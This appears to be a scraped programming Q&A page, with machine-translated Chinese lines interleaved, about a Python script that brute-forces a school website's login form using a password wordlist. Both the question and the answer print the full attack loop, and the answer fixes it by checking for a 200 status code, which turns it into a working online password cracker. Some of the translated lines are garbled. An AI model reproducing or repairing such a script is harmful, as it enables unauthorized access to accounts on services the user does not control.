[英]“A bytes-like object is required, not str” Error in Python
For something to do during the pandemic, I have tried to create a password cracker to try and guess my own password to my school website (boring I know, but I thought it was cool).为了在大流行期间做点什么,我尝试创建一个密码破解程序来尝试猜测我自己的学校网站密码(我知道这很无聊,但我觉得这很酷)。
However when I run my program I get "a bytes-like object is required, not 'str'" caused by "if 'Invalid password' not in response.content:".但是,当我运行我的程序时,我得到“如果'无效密码'不在 response.content:”中,我得到“需要一个类似字节的 object,而不是'str'”。
I have looked around but can't find anything to help me.我环顾四周,但找不到任何可以帮助我的东西。 If anyone can help, it would be greatly appreciated如果有人可以提供帮助,将不胜感激
target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)
with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["Password"] = word
response = requests.post(target_url, data=data_dict)
if "Invalid password" not in response.content:
print("[+] Login Successful! Password = " + word)
exit()
print("[-] Program finished, No password found :(")```
I don't think validate the content is the best way.我不认为验证内容是最好的方法。 Try by validating the response status code, if the password is correct, the status code will be 200, otherwise 401 or 403. eg尝试验证响应状态码,如果密码正确,状态码将为 200,否则为 401 或 403。例如
target_url = "my school website"
data_dict = {"UserName": "my username", "Password": "my password", "Login1$login": "button"}
#response = requests.post(target_url, data=data_dict)
#print(response.content)
with open("C:\\Users\\8ty\\Desktop\\crackstation.txt\\wordlist.lst", "rb") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["Password"] = word
response = requests.post(target_url, data=data_dict)
if response.status_code == 200: # This is the changed line
print("[+] Login Successful! Password = " + word)
exit()
print("[-] Program finished, No password found :(")
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.